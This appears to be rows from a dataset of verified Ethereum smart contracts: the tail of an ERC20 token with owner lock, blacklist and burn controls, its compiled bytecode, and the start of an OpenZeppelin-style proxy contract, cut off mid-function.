allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address "); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea26469706673582212208cf9c4ab1c7a9197a490897beacedf4d8c7ee910072e718248dd2da21c69479c64736f6c63430007030033
{"success": true, "error": null, "results": {}}
10,029
0x060A916936F240e44b09EeA05e1210aAf64Fd07b
/** *Submitted for verification at Etherscan.io on 2021-12-16 */ pragma solidity 0.5.14; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := 